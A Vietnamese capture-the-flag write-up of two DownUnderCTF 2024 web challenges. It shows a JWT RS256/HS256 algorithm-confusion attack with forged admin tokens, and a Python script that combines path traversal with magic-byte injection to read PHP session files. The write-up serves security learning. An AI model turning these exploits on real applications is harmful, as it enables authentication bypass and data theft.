---
# System prepended metadata

title: Writeup DownUnderCTF 2024
tags: [writeup]

---

# i am confusion

Source code như sau

```javascript=    
// essentials
const express = require('express')
const app = express()
const jwt = require('jsonwebtoken')
const cookieParser = require('cookie-parser')
var fs = require('fs')
const path = require('path')
const https = require('https')

// ascii art
const asciiArt = fs.readFileSync('ascii-art.txt', 'utf8');

// algs
const verifyAlg = { algorithms: ['HS256','RS256'] }
const signAlg = { algorithm:'RS256' }

// keys
// change these back once confirmed working
const privateKey = fs.readFileSync('keys/priv.key')
const publicKey = fs.readFileSync('keys/pubkeyrsa.pem')
const certificate = fs.readFileSync('keys/fullchain.pem')

// middleware
app.use(express.static(__dirname + '/public'));
app.use(express.urlencoded({extended:false}))
app.use(cookieParser())

app.get('/', (req, res) => {
  res.status(302).redirect('/login.html')
});

app.post('/login', (req,res) => {
  var username = req.body.username
  var password = req.body.password

  if (/^admin$/i.test(username)) {
    res.status(400).send("Username taken");
    return;
  }

  if (username && password){
    var payload = { user: username };
    var cookie_expiry =  { maxAge: 900000, httpOnly: true }

    const jwt_token = jwt.sign(payload, privateKey, signAlg)

    res.cookie('auth', jwt_token, cookie_expiry)
    res.redirect(302, '/public.html')
  } else {
    res.status(404).send("404 uh oh")
  }
});

app.get('/admin.html', (req, res) => {
  var cookie = req.cookies;
  jwt.verify(cookie['auth'], publicKey, verifyAlg, (err, decoded_jwt) => {
    if (err) {
      res.status(403).send("403 -.-");
    } else if (decoded_jwt['user'] == 'admin') {
      res.sendFile(path.join(__dirname, 'admin.html')) // flag!
    } else {
      res.status(403).sendFile(path.join(__dirname, '/public/hehe.html'))
    }
  })
})

app.get('/public.html', (req, res) => {
  var cookie = req.cookies;
  jwt.verify(cookie['auth'], publicKey, verifyAlg, (err, decoded_jwt) => {
    if (err) {
      res.status(302).redirect('/login.html');
    } else if (decoded_jwt['user']) {
      res.sendFile(path.join(__dirname, 'public.html'))
    }
  })
})


const credentials = {key: privateKey, cert: certificate}
const httpsServer = https.createServer(credentials, app)
const PORT = 1337;

httpsServer.listen(PORT, ()=> {
  console.log(`HTTPS Server running on port ${PORT}`);
})
```

Mục tiêu của ta là phải trở thành `admin` để lấy flag.

Nhìn qua souce code thì mình phát hiện một điểm khá kì lạ như sau:

- Đầu tiên là thuật toán khi sign là `RS256` (dòng 15 và dòng 45)
- Nhưng khi verify lại chấp nhận cả thuật toán `HS256` (dòng 14 và dòng 56)

Nhìn thấy là có điềm rồi, tìm hiểu 1 xíu về 2 thuật toán trên

- Thuật toán đối xứng (Symmetric algorithms) sử dụng cùng một khóa (secret key) cho cả quá trình ký (sign) và xác minh (verify) JWT. Một ví dụ tiêu biểu là HS256 (HMAC-SHA256), trong đó HMAC (Hash-based Message Authentication Code) được sử dụng để ký và xác minh chữ ký. Với thuật toán đối xứng, cả server và client đều biết khóa bí mật.

- Mặt khác, thuật toán bất đối xứng (Asymmetric algorithms) sử dụng một cặp khóa gồm khóa riêng tư (private key) và khóa công khai (public key) để thực hiện quá trình ký và xác minh JWT. Khi server tạo JWT, nó sẽ sử dụng khóa riêng tư để ký chữ ký. Sau đó, client sử dụng khóa công khai tương ứng để xác minh chữ ký.

Do trang web trên chấp nhận xác thực JWT do người dùng cung cấp trong cả hai trường hợp token sử dụng thuật toán RS256 (bất đối xứng) và HS256 (đối xứng). Khi đó, nếu ứng dụng bị lộ `RSA public key`, kẻ tấn công có thể lợi dụng `RSA public key` này để verify token bằng thuật toán HS256 và tạo các token với payload tùy ý.

Trong trường hợp chúng ta không thể thu thập thông tin về bộ public key của ứng dụng, chúng ta hoàn toàn có thể sử dụng một số công cụ tìm thử sai và tìm ra bộ public key của ứng dụng (trong trường hợp giá trị n nhỏ)

Tool: https://github.com/silentsignal/rsa_sign2n/tree/release/standalone

Tool dựa vào hai JWT sinh ra sau hai lần đăng nhập khác nhau, tính toán một hoặc nhiều giá trị tiềm năng của n để kiểm tra chúng có khớp với giá trị của n trong bộ khóa của máy chủ hay không, từ đó trả về chuỗi JWT giả mạo cùng với bộ public key giả mạo tương ứng.

Sau khi cài đặt và chạy

![image](https://hackmd.io/_uploads/HkW7yFUD0.png)

Kết quả:

![image](https://hackmd.io/_uploads/r1BwJtLD0.png)

Ta tạo được 2 token với HS256 

- `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImEiLCAiaWF0IjogMTcyMDI1NDE5MywgImV4cCI6IDE3MjAzNDA2NTV9.vJUHc7HIZuAoVvqOQoDXhykOoh69mRbvPbUX5wzKpaI`
- `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImEiLCAiaWF0IjogMTcyMDI1NDE5MywgImV4cCI6IDE3MjAzNDA2NTV9.h6KCqyH3O-jgEZadTnmDTfiornhyywjwiC7HMD3yLAs`

Sau khi thử thì mình thấy token thứ 2 là chạy được 

![image](https://hackmd.io/_uploads/HkJRJtUDR.png)

Vậy bây giờ chỉ còn bước cuối là sửa user thành admin nữa là xong.

Mình sẽ vào trực tiếp souce code của tool để sửa cho chắc ăn

Đây chính là hàm để gen JWT sau khi có được public key

![image](https://hackmd.io/_uploads/SJu_eYLw0.png)

Và mình chỉ cần sửa phần payload lại là được 

- Step 1:
![image](https://hackmd.io/_uploads/BJtmGFIvA.png)


- Step2: 
![image](https://hackmd.io/_uploads/rywHzYLv0.png)


Xong đó chạy lại tools một lần nữa là xong

![image](https://hackmd.io/_uploads/SJPCzKIPA.png)

Thử lần lượt 2 token này

- `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFkbWluIn0.Mhq0O6b3O12xSG5sqODUhLZGaFMF2EBK5F-k39WE61w`
- `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFkbWluIn0.-fREa_R0Y-3KV8l4-rTuHxQsspPjiRF1D8woHg7JfkE`

Token thứ 2 chạy thành công, kết quả:

![image](https://hackmd.io/_uploads/B1qm7FIwC.png)

`Flag: DUCTF{c0nfus!ng_0nE_bUG_@t_a_tIme}`

# sniffy

Source code mình sẽ tóm gọn lại như sau:

flag.php
```php
define('FLAG', 'DUCTF{}');
```
index.php
```php
include 'flag.php';
session_start();

$_SESSION['flag'] = FLAG; /* Flag is in the session here! */
$_SESSION['theme'] = $_GET['theme'] ?? $_SESSION['theme'] ?? 'light';
```
audio.php
```php
$file = 'audio/' . $_GET['f'];

if (!file_exists($file)) {
    http_response_code(404); die;
}

$mime = mime_content_type($file);

if (!$mime || !str_starts_with($mime, 'audio')) {
    http_response_code(403); die;
}

header("Content-Type: $mime");
readfile($file);
```

**Data chúng ta có thể control được là  `$_GET['theme']`**

Lúc đọc source code lần đầu thì mình đã tự hỏi là, tại sao lại lưu flag ở session làm gì nhỉ?

Vậy mục tiêu của ta chính là đọc được nội dung của session rồi. Ở `audio.php` thì có xuất hiện hàm `readfile()` -> Điều này có mục đích cả.

Tìm hiểu một xíu trên google thì thì mình biết được nội dung của session sẽ được lưu trữ vào file có tên kiểu `sess_balblabla`. Vậy có nghĩa goal của chúng ta chính là đọc file này rồi.

Mình tìm trong docker xem thử file session này đang ở thư mục nào, thì tìm được nó được lưu trữ ở `/tmp`.

![image](https://hackmd.io/_uploads/Sy6bUQdDC.png)



Cứ tưởng vậy là win, nhưng đời không như là mơ, còn một rào cản bước chúng ta đó chính là hàm `mime_content_type($file)`, sau khi có hàm này mime trả về phải bắt đầu bằng `audio` thì mới được tiếp tục.

Oke search google tìm hiểu về hàm này xem như nào

![image](https://hackmd.io/_uploads/SkfjG7dwA.png)

Như trong ảnh mình có bôi đỏ, thì hàm này sử dụng một file có tên là `magic.mime` để tính toán và trả về kết quả.

:v Lại google tiếp cái file `magic.mime` này chứa cái gì ở trỏng


![image](https://hackmd.io/_uploads/BJ_emm_vC.png)

https://github.com/waviq/PHP/blob/master/Laravel-Orang1/public/filemanager/connectors/php/plugins/rsc/share/magic.mime


![image](https://hackmd.io/_uploads/SJpwmm_D0.png)


Theo mình tìm hiểu thì bằng cách kiểm tra nội dung tại vị trí cụ thể ví dụ 1080, các công cụ nhận dạng file có thể nhanh chóng xác định loại và phân loại của file module mà không cần phải quét toàn bộ tệp.

```
1080 string M.K.    audio/x-mod
1080 string FLT4    audio/x-mod
1080 string 4CHN    audio/x-mod
```

Vậy là rõ, hàm này sẽ xác định vị trí những byte nhất định để phân loại mime type.

Mục tiêu của chúng ta là làm sao tại vị trí 1080 trong file sess_blabla thì data sẽ là `FLT4`

Còn một dữ kiện chúng ta chưa dùng tới đó chính là `$_GET['theme']`, chúng ta sẽ lợi dụng parameter này để inject data chúng cần vào để bypass

Vấn đề cuối cùng là làm sao để chúng ta có thể inject `FLT4` vào chính xác vị trí 1080. Vì không biết flag thật có length là bao nhiên nên chúng ta sẽ bruteforce từ từ inject số byte trong khoảng range(980,1060) là oke

Script như sau:

```python    
import requests

for i in range(980,1060):
    payload = 'a'*i + 'FLT4'
    url1 = "https://web-sniffy-d9920bbcf9df.2024.ductf.dev/?theme=" + payload
    burp0_cookies = {"PHPSESSID": "utctqp7s6ickudrcklj390m0h1"}
    requests.get(url1, cookies=burp0_cookies)
    url2 = "https://web-sniffy-d9920bbcf9df.2024.ductf.dev/audio.php?f=../../../../../../../../../../tmp/sess_utctqp7s6ickudrcklj390m0h1"
    r = requests.get(url2, cookies=burp0_cookies)
    if r.status_code != 403:
        print(r.text)
        break
```

Kết quả:

![image](https://hackmd.io/_uploads/SyS8YQOwA.png)

`Flag: DUCTF{koo-koo-koo-koo-koo-ka-ka-ka-ka-kaw-kaw-kaw!!}`

# Còn tiếp